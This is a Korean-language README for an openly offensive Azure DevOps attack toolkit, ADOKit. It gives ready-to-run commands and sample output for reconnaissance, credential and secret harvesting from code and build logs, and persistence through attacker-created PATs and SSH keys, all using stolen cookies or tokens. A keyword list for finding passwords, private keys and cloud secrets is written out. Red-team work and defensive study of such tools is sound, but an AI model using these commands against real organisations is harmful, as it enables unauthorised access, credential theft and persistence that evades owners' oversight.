
모듈형 공격 툴킷으로, 도난된 쿠키나 PAT를 사용하여 Azure DevOps REST API를 악용해 정찰, 권한 상승 및 지속성을 확보합니다.
Azure DevOps Services 공격 툴킷 - ADOKit는 사용 가능한 REST API를 활용하여 Azure DevOps Services를 공격하는 데 사용할 수 있는 툴킷입니다. 이 도구는 사용자가 공격 모듈을 지정하고 해당 Azure DevOps Services 인스턴스에 대한 유효한 자격 증명(API 키 또는 도난된 인증 쿠키)을 함께 지정할 수 있도록 합니다. 지원되는 공격 모듈에는 정찰, 권한 상승 및 지속성이 포함됩니다. ADOKit는 모듈식 접근 방식으로 구축되어 정보 보안 커뮤니티에서 향후 새로운 모듈을 추가할 수 있습니다.
ADOKit에서 사용하는 기술에 대한 자세한 내용은 X-Force Red 백서에 있습니다.
발표 슬라이드와 데모는 이 저장소의 BHUSA Arsenal 2024 폴더에 포함되어 있습니다.
이 프로젝트에서는 아래의 타사 라이브러리가 사용됩니다.
| 라이브러리 | URL | 라이선스 |
|---|---|---|
| Fody | https://github.com/Fody/Fody | MIT 라이선스 |
| Newtonsoft.Json | https://github.com/JamesNK/Newtonsoft.Json | MIT 라이선스 |
프로젝트를 직접 컴파일하려면 아래 단계에 따라 Visual Studio를 설정하십시오. 이를 위해서는 NuGet 패키지 관리자에서 설치할 수 있는 두 개의 .NET 라이브러리가 필요합니다.
https://api.nuget.org/v3/index.json인 패키지 소스를 추가하십시오.Install-Package Costura.Fody -Version 3.3.3Install-Package Newtonsoft.Json"pw OR pwd OR passwrod OR password OR \"-----BEGIN PGP PRIVATE KEY BLOCK-----\" OR \"-----BEGIN EC PRIVATE KEY-----\" OR \"-----BEGIN DSA PRIVATE KEY-----\" OR \"-----BEGIN OPENSSH PRIVATE KEY-----\" OR \"-----BEGIN RSA PRIVATE KEY-----\" OR ANSIBLE_VAULT OR AWS_ACCESS_KEY_ID OR AWS_SECRET_ACCESS_KEY OR ACCESS_TOKEN OR API_KEY OR Authorization OR db_password"Azure DevOps 인스턴스에 인증할 때 ADOKit에서 사용할 수 있는 인증 옵션은 아래와 같습니다.
.dev.azure.com 도메인에 대한 사용자 머신의 UserAuthentication 쿠키입니다.
/credential:UserAuthentication=ABC123.dev.azure.com 도메인에 대한 사용자 머신의 AadAuthentication 쿠키입니다.
/credential:eyJ0.../credential:apiToken"aud":"https://management.core.windows.net/") 또는 Azure DevOps 리소스("aud":"499b84ac-1321-427f-aa17-267ca6975798")에 대해 유효해야 합니다.
/credential:eyJ0..아래 표는 각 모듈에 필요한 권한을 보여줍니다.
조직이 Azure DevOps를 사용하고 제공된 자격 증명이 유효한지 확인하기 위해 인증 검사를 수행합니다.
check 모듈과 관련 인증 정보 및 URL을 제공하십시오. 이는 제공된 조직이 Azure DevOps를 사용하는지 여부를 출력하고, 그렇다면 제공된 자격 증명의 유효성을 검증하려고 시도합니다.
ADOKit.exe check /credential:apiKey /url:https://dev.azure.com/organizationName
ADOKit.exe check /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName
C:>ADOKit.exe check /credential:apiKey /url:https://dev.azure.com/YourOrganization
================================================== Module: check Auth Type: API Key Search Term: Target URL: https://dev.azure.com/YourOrganization
[*] INFO: Checking if organization provided uses Azure DevOps
[+] SUCCESS: Organization provided exists in Azure DevOps
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
3/28/23 19:33:02 Finished execution of check
### Whoami
#### 사용 사례
> *현재 사용자 및 사용자의 그룹 멤버십 가져오기*
#### 구문
`whoami` 모듈과 함께 관련 인증 정보 및 URL을 제공합니다. 이는 현재 사용자와 모든 그룹 멤버십을 출력합니다.
`ADOKit.exe whoami /credential:apiKey /url:https://dev.azure.com/organizationName`
`ADOKit.exe whoami /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName`
#### 예제 출력```
C:\>ADOKit.exe whoami /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/YourOrganization
==================================================
Module: whoami
Auth Type: Cookie
Search Term:
Target URL: https://dev.azure.com/YourOrganization
Timestamp: 4/4/2023 11:33:12 AM
==================================================
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
Username | Display Name | UPN
------------------------------------------------------------------------------------------------------------------------------------------------------------
jsmith | John Smith | [email protected]
[*] INFO: Listing group memberships for the current user
Group UPN | Display Name | Description
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
[YourOrganization]\Project Collection Test Service Accounts | Project Collection Test Service Accounts | Members of this group should include the service accounts used by the test controllers set up for this project collection.
[TestProject2]\Contributors | Contributors | Members of this group can add, modify, and delete items within the team project.
[MaraudersMap]\Contributors | Contributors | Members of this group can add, modify, and delete items within the team project.
[YourOrganization]\Project Collection Administrators | Project Collection Administrators | Members of this application group can perform all privileged operations on the Team Project Collection.
4/4/23 15:33:19 Finished execution of whoami
주어진 액세스 토큰을 사용하여 조직을 검색합니다.
listorgs 모듈에 필요한 인증 정보를 제공합니다. 기본적으로 이 명령은 제공된 액세스 토큰으로 접근 가능한 조직만 나열합니다.
/mode:aad**를 사용하여 직접 액세스 여부와 관계없이 Azure AD 테넌트 내의 모든 DevOps 조직을 열거합니다./endpoint:ENDPOINT_NAME**를 사용하여 사용자 지정 AEX 엔드포인트를 지정합니다.
aex.dev.azure.com의 "X-VSS-DeploymentAffinity" 쿠키를 검사하여 식별할 수 있습니다.ADOKit.exe listorgs /credential:"eyj0..." [/mode:aad] [/endpoint:ENDPOINT_NAME]
ADOKit.exe listorgs /credential:"eyj0..." /mode:aad /endpoint:aexprodeus21
C:>ADOKit.exe listorgs /credential:"eyj0..."
================================================== Module: listorgs Auth Type: Azure Access Token Target URL: https://app.vssps.visualstudio.com
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
Organization ID | Organization Name
390a7474-e2f2-4b98-b538-4a547fa9f5e3 | solar-devops
b63b999f-43f2-48c5-998d-b31cbf4c2f8e | lunar-devops
### 저장소 목록
#### 사용 사례
> *Azure DevOps 인스턴스에서 사용 중인 리포지토리를 검색합니다*
#### 구문
`listrepo` 모듈과 관련 인증 정보 및 URL을 제공합니다. 그러면 리포지토리 이름과 URL이 출력됩니다.
`ADOKit.exe listrepo /credential:apiKey /url:https://dev.azure.com/organizationName`
`ADOKit.exe listrepo /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName`
#### 출력 예시
Retrieving repository list...
Repository List:
Repository Name: awesomeRepo Repository URL: https://dev.azure.com/organizationName/ProjectName/_git/awesomeRepo
C:\>ADOKit.exe listrepo /credential:UserAuthentication=ABC123 /url:https://dev.azure.com/YourOrganization
==================================================
Module: listrepo
Auth Type: Cookie
Search Term:
Target URL: https://dev.azure.com/YourOrganization
Timestamp: 3/29/2023 8:41:50 AM
==================================================
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
Name | URL
-----------------------------------------------------------------------------------
TestProject2 | https://dev.azure.com/YourOrganization/TestProject2/_git/TestProject2
MaraudersMap | https://dev.azure.com/YourOrganization/MaraudersMap/_git/MaraudersMap
SomeOtherRepo | https://dev.azure.com/YourOrganization/ProjectWithMultipleRepos/_git/SomeOtherRepo
AnotherRepo | https://dev.azure.com/YourOrganization/ProjectWithMultipleRepos/_git/AnotherRepo
ProjectWithMultipleRepos | https://dev.azure.com/YourOrganization/ProjectWithMultipleRepos/_git/ProjectWithMultipleRepos
TestProject | https://dev.azure.com/YourOrganization/TestProject/_git/TestProject
3/29/23 12:41:53 Finished execution of listrepo
```
### 리포지토리 검색
#### 사용 사례
> *Azure DevOps 인스턴스에서 리포지토리 이름으로 리포지토리 검색*
#### 구문
`searchrepo` 모듈과 `/search:` 명령줄 인수에 검색 기준을 제공하고, 관련 인증 정보 및 URL을 함께 입력합니다. 그러면 일치하는 리포지토리 이름과 URL이 출력됩니다.
`ADOKit.exe searchrepo /credential:apiKey /url:https://dev.azure.com/organizationName /search:cred`
`ADOKit.exe searchrepo /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /search:cred`
#### 예시 출력```
C:\>ADOKit.exe searchrepo /credential:apiKey /url:https://dev.azure.com/YourOrganization /search:"test"
==================================================
Module: searchrepo
Auth Type: API Key
Search Term: test
Target URL: https://dev.azure.com/YourOrganization
Timestamp: 3/29/2023 9:26:57 AM
==================================================
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
Name | URL
-----------------------------------------------------------------------------------
TestProject2 | https://dev.azure.com/YourOrganization/TestProject2/_git/TestProject2
TestProject | https://dev.azure.com/YourOrganization/TestProject/_git/TestProject
3/29/23 13:26:59 Finished execution of searchrepo
```
### 프로젝트 목록
#### 사용 사례
> *Azure DevOps 인스턴스에서 사용 중인 프로젝트 검색*
#### 구문
`listproject` 모듈과 관련 인증 정보 및 URL을 제공합니다. 그러면 프로젝트 이름, 공개/비공개 여부 및 URL이 출력됩니다.
`ADOKit.exe listproject /credential:apiKey /url:https://dev.azure.com/organizationName`
`ADOKit.exe listproject /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName`
#### 예제 출력```
C:\>ADOKit.exe listproject /credential:apiKey /url:https://dev.azure.com/YourOrganization
==================================================
Module: listproject
Auth Type: API Key
Search Term:
Target URL: https://dev.azure.com/YourOrganization
Timestamp: 4/4/2023 7:44:59 AM
==================================================
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
Name | Visibility | URL
-----------------------------------------------------------------------------------------------------
TestProject2 | private | https://dev.azure.com/YourOrganization/TestProject2
MaraudersMap | private | https://dev.azure.com/YourOrganization/MaraudersMap
ProjectWithMultipleRepos | private | https://dev.azure.com/YourOrganization/ProjectWithMultipleRepos
TestProject | private | https://dev.azure.com/YourOrganization/TestProject
4/4/23 11:45:04 Finished execution of listproject
```
### 프로젝트 검색
#### 사용 사례
> *Azure DevOps 인스턴스에서 프로젝트 이름으로 프로젝트 검색*
#### 구문
검색 조건과 함께 `searchproject` 모듈을 `/search:` 명령줄 인수에 제공하고 관련 인증 정보와 URL을 함께 제공합니다. 그러면 일치하는 프로젝트 이름, 표시 여부(공개 또는 비공개) 및 URL이 출력됩니다.
`ADOKit.exe searchproject /credential:apiKey /url:https://dev.azure.com/organizationName /search:cred`
`ADOKit.exe searchproject /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /search:cred`
#### 예제 출력```
C:\>ADOKit.exe searchproject /credential:apiKey /url:https://dev.azure.com/YourOrganization /search:"map"
==================================================
Module: searchproject
Auth Type: API Key
Search Term: map
Target URL: https://dev.azure.com/YourOrganization
Timestamp: 4/4/2023 7:45:30 AM
==================================================
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
Name | Visibility | URL
-----------------------------------------------------------------------------------------------------
MaraudersMap | private | https://dev.azure.com/YourOrganization/MaraudersMap
4/4/23 11:45:31 Finished execution of searchproject
```
### 코드 검색
#### 사용 사례
> *Azure DevOps 인스턴스에서 특정 키워드가 포함된 코드를 검색합니다.*
#### 구문
`searchcode` 모듈과 검색 조건을 `/search:` 명령줄 인수에 제공하고, 관련 인증 정보와 URL을 함께 제공합니다. 그러면 일치하는 코드 파일의 URL과 일치하는 코드 줄이 출력됩니다.
`ADOKit.exe searchcode /credential:apiKey /url:https://dev.azure.com/organizationName /search:password`
`ADOKit.exe searchcode /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /search:password`
#### 출력 예시```
C:\>ADOKit.exe searchcode /credential:UserAuthentication=ABC123 /url:https://dev.azure.com/YourOrganization /search:"password"
==================================================
Module: searchcode
Auth Type: Cookie
Search Term: password
Target URL: https://dev.azure.com/YourOrganization
Timestamp: 3/29/2023 3:22:21 PM
==================================================
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
[>] URL: https://dev.azure.com/YourOrganization/MaraudersMap/_git/MaraudersMap?path=/Test.cs
|_ Console.WriteLine("PassWord");
|_ this is some text that has a password in it
[>] URL: https://dev.azure.com/YourOrganization/TestProject2/_git/TestProject2?path=/Program.cs
|_ Console.WriteLine("PaSsWoRd");
[*] Match count : 3
3/29/23 19:22:22 Finished execution of searchcode
```
### 파일 검색
#### 사용 사례
> *Azure DevOps에서 파일 이름에 특정 키워드가 포함된 저장소의 파일 검색*
#### 구문
`searchfile` 모듈과 `/search:` 명령줄 인수에 검색 기준을 제공합니다. 관련 인증 정보 및 URL도 함께 제공하세요. 이렇게 하면 일치하는 파일의 URL이 해당 저장소에 출력됩니다.
`ADOKit.exe searchfile /credential:apiKey /url:https://dev.azure.com/organizationName /search:azure-pipeline`
`ADOKit.exe searchfile /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /search:azure-pipeline`
#### 예시 출력```
C:\>ADOKit.exe searchfile /credential:UserAuthentication=ABC123 /url:https://dev.azure.com/YourOrganization /search:"test"
==================================================
Module: searchfile
Auth Type: Cookie
Search Term: test
Target URL: https://dev.azure.com/YourOrganization
Timestamp: 3/29/2023 11:28:34 AM
==================================================
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
File URL
----------------------------------------------------------------------------------------------------
https://dev.azure.com/YourOrganization/MaraudersMap/_git/4f159a8e-5425-4cb5-8d98-31e8ac86c4fa?path=/Test.cs
https://dev.azure.com/YourOrganization/ProjectWithMultipleRepos/_git/c1ba578c-1ce1-46ab-8827-f245f54934e9?path=/Test.cs
https://dev.azure.com/YourOrganization/TestProject/_git/fbcf0d6d-3973-4565-b641-3b1b897cfa86?path=/test.cs
3/29/23 15:28:37 Finished execution of searchfile
```
### 자격 증명 검색
#### 사용 사례
> *Azure DevOps에서 비밀번호나 API 키와 같은 비밀 정보가 포함된 코드 검색*
#### 구문
관련 인증 정보 및 URL과 함께 `creds` 모듈을 제공합니다. 그러면 해당 리포지토리의 일치하는 파일의 URL과 자격 증명이 있는 일치하는 라인이 출력됩니다.
`ADOKit.exe creds /credential:apiKey /url:https://dev.azure.com/organizationName`
`ADOKit.exe creds /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName`
#### 출력 예시```
C:\>ADOKit.exe creds /credential:UserAuthentication=ABC123 /url:https://dev.azure.com/YourOrganization
==================================================
Module: creds
Auth Type: Cookie
Search Term: pw OR pwd OR passwrod OR password OR \"-----BEGIN PGP PRIVATE KEY BLOCK-----\" OR \"-----BEGIN EC PRIVATE KEY-----\" OR \"-----BEGIN DSA PRIVATE KEY-----\" OR \"-----BEGIN OPENSSH PRIVATE KEY-----\" OR \"-----BEGIN RSA PRIVATE KEY-----\" OR ANSIBLE_VAULT OR AWS_ACCESS_KEY_ID OR AWS_SECRET_ACCESS_KEY OR ACCESS_TOKEN OR API_KEY OR Authorization OR db_password
Target URL: https://dev.azure.com/YourOrganization
Timestamp: 3/30/2023 10:17:49 AM
==================================================
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
[>] URL: https://dev.azure.com/YourOrganization/MaraudersMap/_git/MaraudersMap?path=/Test.cs
|_ Console.WriteLine("PassWord");
|_ this is some text that has a password in it
[>] URL: https://dev.azure.com/YourOrganization/MaraudersMap/_git/MaraudersMap?path=/Test.cs
|_ API_KEY=ABC123
[>] URL: https://dev.azure.com/YourOrganization/TestProject2/_git/TestProject2?path=/Program.cs
|_ Console.WriteLine("PaSsWoRd");
[>] URL: https://dev.azure.com/YourOrganization/ProjectWithMultipleRepos/_git/AnotherRepo?path=/config.yaml
|_ Password: ItIsSuperSecret!
[*] Match count : 5
3/30/23 14:17:54 Finished execution of creds
```
### 빌드 로그 가져오기
#### 사용 사례
> *파이프라인 실행(빌드 로그)의 모든 로그를 다운로드합니다. 이후 오프라인에서 정보 및/또는 비밀을 검색할 수 있습니다.*
#### 구문
특정 프로젝트의 모든 빌드 로그를 다운로드하려면 `getbuildlogs` 모듈과 함께 `/project:`를 제공하십시오. 모든 프로젝트의 로그를 다운로드하려면 `/project:` 인수에 `all`을 지정하십시오. 그러면 현재 작업 디렉터리에 `ADOKit-[랜덤 8자]` 폴더가 생성되어 로그가 다운로드됩니다.
`ADOKit.exe getbuildlogs /credential:apiKey /url:https://dev.azure.com/organizationName /project:"someProject"`
`ADOKit.exe getbuildlogs /credential:apiKey /url:https://dev.azure.com/organizationName /project:"all"`
`ADOKit.exe getbuildlogs /credential:UserAuthentication=ABC123 /url:https://dev.azure.com/organizationName /project:"someProject"`
`ADOKit.exe getbuildlogs /credential:UserAuthentication=ABC123 /url:https://dev.azure.com/organizationName /project:"all"`
#### 출력 예시```
C:\>ADOKit.exe getbuildlogs /credential:apiKey /url:https://dev.azure.com/YourOrganization /project:TestProject2
==================================================
Module: getbuildlogs
Auth Type: API Key
Project: TestProject2
Target URL: https://dev.azure.com/YourOrganization
Timestamp: 5/31/2024 8:15:27 AM
==================================================
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
[*] INFO: Downloading build logs to: C:\path\ADOKit-MWPsicSZ
[+] SUCCESS: Build log files downloaded to: C:\path\ADOKit-MWPsicSZ
```
### 빌드 로그 나열
#### 사용 사례
> *주어진 프로젝트 또는 모든 프로젝트에 대해 사용 가능한 빌드 로그를 나열합니다.*
#### 구문
특정 프로젝트의 모든 빌드 로그를 나열하려면 `listbuildlogs` 모듈을 `/project:`와 함께 제공하십시오. 모든 프로젝트에 대해 나열하려면 `/project:` 인수에 `all`을 지정하십시오.
`ADOKit.exe listbuildlogs /credential:apiKey /url:https://dev.azure.com/organizationName /project:"someProject"`
`ADOKit.exe listbuildlogs /credential:apiKey /url:https://dev.azure.com/organizationName /project:"all"`
`ADOKit.exe listbuildlogs /credential:UserAuthentication=ABC123 /url:https://dev.azure.com/organizationName /project:"someProject"`
`ADOKit.exe listbuildlogs /credential:UserAuthentication=ABC123 /url:https://dev.azure.com/organizationName /project:"all"`
#### 예시 출력```
C:\>ADOKit.exe listbuildlogs /credential:apiKey /url:https://dev.azure.com/YourOrganization /project:TestProject2
==================================================
Module: listbuildlogs
Auth Type: API Key
Project: TestProject2
Target URL: https://dev.azure.com/YourOrganization
Timestamp: 5/31/2024 8:14:57 AM
==================================================
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
Build ID | Build Name | Num Logs | URL
-------------------------------------------------------------------------------------------------------------
94 | TestProject2 | 10 | https://dev.azure.com/YourOrganization/8f555d6f-88d2-414a-a9e9-55b1aef12173/_apis/build/Builds/94
92 | TestProject2 | 10 | https://dev.azure.com/YourOrganization/8f555d6f-88d2-414a-a9e9-55b1aef12173/_apis/build/Builds/92
64 | TestProject2 | 10 | https://dev.azure.com/YourOrganization/8f555d6f-88d2-414a-a9e9-55b1aef12173/_apis/build/Builds/64
```
### 빌드 로그 검색
#### 사용 사례
> *Azure DevOps 인스턴스에서 특정 키워드가 포함된 빌드 로그 검색*
#### 구문
`searchbuildlogs` 모듈과 검색 기준을 `/search:` 명령줄 인수에 제공하고, `/project:`에 특정 프로젝트를 지정하여 해당 프로젝트의 모든 빌드 로그를 검색합니다. 모든 프로젝트의 빌드 로그를 검색하려면 `/project:` 인수에 `all`을 지정하세요. 이렇게 하면 일치하는 빌드 출력 로그 파일의 URL과 해당 빌드 로그의 일치하는 줄이 출력됩니다.
`ADOKit.exe searchbuildlogs /credential:apiKey /url:https://dev.azure.com/organizationName /project:"projName" /search:"password"`
`ADOKit.exe searchbuildlogs /credential:apiKey /url:https://dev.azure.com/organizationName /project:"all" /search:"password"`
`ADOKit.exe searchbuildlogs /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /project:"projName" /search:"password"`
`ADOKit.exe searchbuildlogs /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /project:"all" /search:"password"`
#### 예시 출력```
C:\>ADOKit.exe searchbuildlogs /credential:apiKey /url:https://dev.azure.com/YourOrganization /project:MaraudersMap /search:"password"
==================================================
Module: searchbuildlogs
Auth Type: API Key
Search Term: password
Project: MaraudersMap
Target URL: https://dev.azure.com/YourOrganization
Timestamp: 5/31/2024 9:06:20 AM
==================================================
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
[*] INFO: Searching build logs
[>] URL: https://dev.azure.com/YourOrganization/ee8c003f-94e1-40a7-8d97-0192dcf1b87a/_apis/build/builds/95/logs/1
[>] Project: MaraudersMap
|_ python blah.py $(secret-password-here)
[>] URL: https://dev.azure.com/YourOrganization/ee8c003f-94e1-40a7-8d97-0192dcf1b87a/_apis/build/builds/95/logs/7
[>] Project: MaraudersMap
|_ 2023-04-21T14:36:48.8967630Z Downloading secret value for: secret-password-here.
[>] URL: https://dev.azure.com/YourOrganization/ee8c003f-94e1-40a7-8d97-0192dcf1b87a/_apis/build/builds/95/logs/8
[>] Project: MaraudersMap
|_ 2023-04-21T14:36:50.1585893Z Password1
-----------SNIP-----------
[*] Match count : 9
```
### PAT 생성
#### 사용 사례
> *Azure DevOps 인스턴스에 지속성을 위해 사용할 수 있는 사용자의 개인 액세스 토큰(PAT)을 생성합니다.*
#### 구문
`createpat` 모듈과 관련 인증 정보 및 URL을 제공합니다. 그러면 생성된 PAT의 ID, 이름, 범위, 유효 기간 및 토큰 내용이 출력됩니다. 생성된 PAT의 이름은 `ADOKit-` 뒤에 8자의 임의 문자열이 붙습니다. PAT의 유효 기간은 생성일로부터 1년이며, 이는 Azure DevOps에서 허용하는 최대 기간입니다.
`ADOKit.exe createpat /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName`
#### 예제 출력```
C:\>ADOKit.exe createpat /credential:UserAuthentication=ABC123 /url:https://dev.azure.com/YourOrganization
==================================================
Module: createpat
Auth Type: Cookie
Search Term:
Target URL: https://dev.azure.com/YourOrganization
Timestamp: 3/31/2023 2:33:09 PM
==================================================
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
PAT ID | Name | Scope | Valid Until | Token Value
------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
8776252f-9e03-48ea-a85c-f880cc830898 | ADOKit-rJxzpZwZ | app_token | 3/31/2024 12:00:00 AM | tokenValueWouldBeHere
3/31/23 18:33:10 Finished execution of createpat
```
### PAT 목록
#### 사용 사례
> *Azure DevOps 인스턴스에서 특정 사용자의 모든 개인 액세스 토큰(PAT)을 나열합니다.*
#### 구문
`listpat` 모듈과 관련 인증 정보 및 URL을 제공합니다. 그러면 사용자의 모든 활성 PAT에 대한 PAT ID, 이름, 범위 및 유효 기간이 출력됩니다.
`ADOKit.exe listpat /credential:apiKey /url:https://dev.azure.com/organizationName`
`ADOKit.exe listpat /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName`
#### 출력 예시```
C:\>ADOKit.exe listpat /credential:UserAuthentication=ABC123 /url:https://dev.azure.com/YourOrganization
==================================================
Module: listpat
Auth Type: Cookie
Search Term:
Target URL: https://dev.azure.com/YourOrganization
Timestamp: 3/31/2023 2:33:17 PM
==================================================
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
PAT ID | Name | Scope | Valid Until
-------------------------------------------------------------------------------------------------------------------------------------------
9b354668-4424-4505-a35f-d0989034da18 | test-token | app_token | 4/29/2023 1:20:45 PM
8776252f-9e03-48ea-a85c-f880cc830898 | ADOKit-rJxzpZwZ | app_token | 3/31/2024 12:00:00 AM
3/31/23 18:33:18 Finished execution of listpat
```
### PAT 제거
#### 사용 사례
> *Azure DevOps 인스턴스에서 특정 사용자의 PAT를 제거합니다.*
#### 구문
`removepat` 모듈과 관련 인증 정보 및 URL을 제공하십시오. 또한 `/id:` 인수에 PAT의 ID를 제공합니다. 그러면 PAT가 제거되었는지 여부가 출력되고, 제거가 수행된 후 사용자의 현재 활성 PAT가 나열됩니다.
`ADOKit.exe removepat /credential:apiKey /url:https://dev.azure.com/organizationName /id:000-000-0000...`
`ADOKit.exe removepat /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /id:000-000-0000...`
#### 출력 예시```
C:\>ADOKit.exe removepat /credential:UserAuthentication=ABC123 /url:https://dev.azure.com/YourOrganization /id:0b20ac58-fc65-4b66-91fe-4ff909df7298
==================================================
Module: removepat
Auth Type: Cookie
Search Term:
Target URL: https://dev.azure.com/YourOrganization
Timestamp: 4/3/2023 11:04:59 AM
==================================================
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
[+] SUCCESS: PAT with ID 0b20ac58-fc65-4b66-91fe-4ff909df7298 was removed successfully.
PAT ID | Name | Scope | Valid Until
-------------------------------------------------------------------------------------------------------------------------------------------
9b354668-4424-4505-a35f-d0989034da18 | test-token | app_token | 4/29/2023 1:20:45 PM
4/3/23 15:05:00 Finished execution of removepat
```
### SSH 키 생성
#### 사용 사례
> *Azure DevOps 인스턴스에 대한 지속적 접근을 위해 사용자의 SSH 키를 생성합니다.*
#### 구문
`createsshkey` 모듈과 관련 인증 정보 및 URL을 제공하세요. 또한 `/sshkey:` 인수에 공개 SSH 키를 제공하세요. 이렇게 하면 생성된 SSH 키에 대한 SSH 키 ID, 이름, 범위, 유효 기간 및 공개 SSH 키의 마지막 20자가 출력됩니다. 생성된 SSH 키의 이름은 `ADOKit-` 뒤에 8자리 랜덤 문자열이 붙습니다. SSH 키의 유효 기간은 생성일로부터 1년이며, 이는 Azure DevOps에서 허용하는 최대 기간입니다.
`ADOKit.exe createsshkey /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /sshkey:"ssh-rsa ABC123"`
#### 예제 출력```
C:\>ADOKit.exe createsshkey /credential:UserAuthentication=ABC123 /url:https://dev.azure.com/YourOrganization /sshkey:"ssh-rsa ABC123"
==================================================
Module: createsshkey
Auth Type: Cookie
Search Term:
Target URL: https://dev.azure.com/YourOrganization
Timestamp: 4/3/2023 2:51:22 PM
==================================================
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
SSH Key ID | Name | Scope | Valid Until | Public SSH Key
-----------------------------------------------------------------------------------------------------------------------------------------------------------------------
fbde9f3e-bbe3-4442-befb-c2ddeab75c58 | ADOKit-iCBfYfFR | app_token | 4/3/2024 12:00:00 AM | ...hOLNYMk5LkbLRMG36RE=
4/3/23 18:51:24 Finished execution of createsshkey
```
### SSH 키 목록
#### 사용 사례
> *Azure DevOps 인스턴스에서 특정 사용자의 모든 공개 SSH 키를 나열합니다.*
#### 구문
`listsshkey` 모듈과 관련 인증 정보 및 URL을 제공합니다. 그러면 사용자의 모든 활성 SSH 키에 대한 SSH 키 ID, 이름, 범위 및 유효 기간이 출력됩니다. 또한 공개 SSH 키의 마지막 20자를 출력합니다.
`ADOKit.exe listsshkey /credential:apiKey /url:https://dev.azure.com/organizationName`
`ADOKit.exe listsshkey /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName`
#### 출력 예시```
C:\>ADOKit.exe listsshkey /credential:UserAuthentication=ABC123 /url:https://dev.azure.com/YourOrganization
==================================================
Module: listsshkey
Auth Type: Cookie
Search Term:
Target URL: https://dev.azure.com/YourOrganization
Timestamp: 4/3/2023 11:37:10 AM
==================================================
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
SSH Key ID | Name | Scope | Valid Until | Public SSH Key
-----------------------------------------------------------------------------------------------------------------------------------------------------------------------
ec056907-9370-4aab-b78c-d642d551eb98 | test-ssh-key | app_token | 4/3/2024 3:13:58 PM | ...nDoYAPisc/pEFArVVV0=
4/3/23 15:37:11 Finished execution of listsshkey
```
### Remove SSH Key
#### Use Case
> *Azure DevOps 인스턴스에서 특정 사용자의 SSH 키를 제거합니다.*
#### Syntax
`removesshkey` 모듈과 관련 인증 정보 및 URL을 제공합니다. 또한 `/id:` 인수에 SSH 키의 ID를 입력합니다. 이 명령은 SSH 키가 제거되었는지 여부를 출력하고, 제거 후 사용자의 현재 활성 SSH 키 목록을 표시합니다.
`ADOKit.exe removesshkey /credential:apiKey /url:https://dev.azure.com/organizationName /id:000-000-0000...`
`ADOKit.exe removesshkey /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /id:000-000-0000...`
#### Example Output```
C:\>ADOKit.exe removesshkey /credential:UserAuthentication=ABC123 /url:https://dev.azure.com/YourOrganization /id:a199c036-d7ed-4848-aae8-2397470aff97
==================================================
Module: removesshkey
Auth Type: Cookie
Search Term:
Target URL: https://dev.azure.com/YourOrganization
Timestamp: 4/3/2023 1:50:08 PM
==================================================
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
[+] SUCCESS: SSH key with ID a199c036-d7ed-4848-aae8-2397470aff97 was removed successfully.
SSH Key ID | Name | Scope | Valid Until | Public SSH Key
-----------------------------------------------------------------------------------------------------------------------------------------------------------------------
ec056907-9370-4aab-b78c-d642d551eb98 | test-ssh-key | app_token | 4/3/2024 3:13:58 PM | ...nDoYAPisc/pEFArVVV0=
4/3/23 17:50:09 Finished execution of removesshkey
```
### List Users
#### Use Case
> *Azure DevOps 인스턴스 내 사용자 나열*
#### Syntax
`listuser` 모듈과 관련 인증 정보 및 URL을 제공합니다. 그러면 사용자 이름, 표시 이름 및 사용자 계정 이름이 출력됩니다.
`ADOKit.exe listuser /credential:apiKey /url:https://dev.azure.com/organizationName`
`ADOKit.exe listuser /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName`
#### Example Output```
C:\>ADOKit.exe listuser /credential:apiKey /url:https://dev.azure.com/YourOrganization
==================================================
Module: listuser
Auth Type: API Key
Search Term:
Target URL: https://dev.azure.com/YourOrganization
Timestamp: 4/3/2023 4:12:07 PM
==================================================
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
Username | Display Name | UPN
------------------------------------------------------------------------------------------------------------------------------------------------------------
user1 | User 1 | [email protected]
jsmith | John Smith | [email protected]
